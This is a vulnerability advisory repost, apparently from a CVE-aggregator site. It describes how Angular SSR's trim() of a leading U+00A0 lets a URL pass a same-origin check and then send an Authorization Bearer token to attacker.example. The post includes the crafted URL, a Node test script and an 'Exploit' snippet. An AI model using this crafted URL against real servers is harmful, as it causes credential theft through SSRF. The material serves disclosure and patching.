Listen to this Post
Angular SSR processes server-side requests through @angular/platform-server.
Its URL resolution utilities include resolveUrl and parseUrl.
In affected behavior, those utilities applied String.prototype.trim().
JavaScript trim() removes Unicode whitespace including U+00A0 and U+FEFF.
WHATWG URL parsing does not strip those characters as leading whitespace.
Instead, new URL(input, trustedOrigin) can treat them as part of a relative path.
Example: http://trusted-origin/%C2%A0//attacker.example/collect.
This URL may pass an application same-origin check.
The origin remains trusted-origin in the application check.
Later, Angular SSR resolves the same URL for an outgoing request.
The leading U+00A0 is trimmed by String.prototype.trim().
The string becomes //attacker.example/collect.
A protocol-relative URL resolves to http://attacker.example/collect.
During SSR, relativeUrlsTransformerInterceptorFn can trigger this resolution.
The resulting HttpClient request goes to the attacker-controlled origin.
If the application attaches credentials to approved same-origin requests, they leak.
Leaked credentials can include Authorization headers.
Leaked credentials can include Bearer tokens.
Leaked credentials can include API keys.
This is a Server-Side Request Forgery condition.
It is also a same-origin validation bypass.
Reachability requires user-controlled input to influence request URLs.
The input must be processed by Angular HttpClient in SSR.
An application-level same-origin check must run before dispatch.
Sensitive server-side credentials must be attached to approved requests.
The PoC interceptor validates req.urlWithParams against trustedOrigin.
It throws if target.origin differs from trustedOrigin.origin.
The crafted URL passes because U+00A0 is not stripped by WHATWG parsing.
Angular platform-server then trims and routes to attacker.example.
The server attaches Authorization: Bearer SERVER-SECRET-TOKEN to the request.
DailyCVE Form:
Platform: Angular SSR
Version: Not Provided
Vulnerability: SSRF Same-Origin Bypass
Severity: Not Provided
date: Not Provided
Prediction: Not Provided
What Undercode Say:
Analytics:
Test crafted URL origin check in Node.js
node - <<'EOF'
const trustedOrigin = new URL('http://localhost:4000/');
const req = { urlWithParams: 'http://trusted-origin/%C2%A0//attacker.example/collect' };
const target = new URL(req.urlWithParams, trustedOrigin);
console.log('origin:', target.origin);
console.log('trusted:', trustedOrigin.origin);
console.log('passes:', target.origin === trustedOrigin.origin);
EOF
// Interceptor performing same-origin validation
const trustedOrigin = new URL('http://localhost:4000/');
const target = new URL(req.urlWithParams, trustedOrigin);
if (target.origin !== trustedOrigin.origin) {
throw new Error('Cross-origin request blocked');
}
// Request passes validation, server attaches sensitive credential:
const authenticatedReq = req.clone({
headers: req.headers.set('Authorization', 'Bearer SERVER-SECRET-TOKEN'),
});
// @angular/platform-server previously trimmed the URL, converting it into
// //attacker.example/collect and routing the credential to the attacker.
Exploit: (Educational Purposes!)
// Crafted input includes U+00A0 before protocol-relative URL const crafted = 'http://trusted-origin/%C2%A0//attacker.example/collect'; // WHATWG check sees trusted-origin // Angular SSR trim() removes U+00A0 // Resolved request becomes http://attacker.example/collect // Authorization: Bearer SERVER-SECRET-TOKEN leaks
Protection: from this CVE
Validate and sanitize input URLs. Disallow leading Unicode whitespace characters such as \u00A0. Avoid relying solely on new URL(input, trustedOrigin).origin for authorization. Normalize whitespace consistently with WHATWG URL standard.
Impact:
Server-Side Request Forgery (SSRF). Same-origin validation bypass. Sensitive server-side credential leakage. Authorization header exposure. Bearer token and API key exposure.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
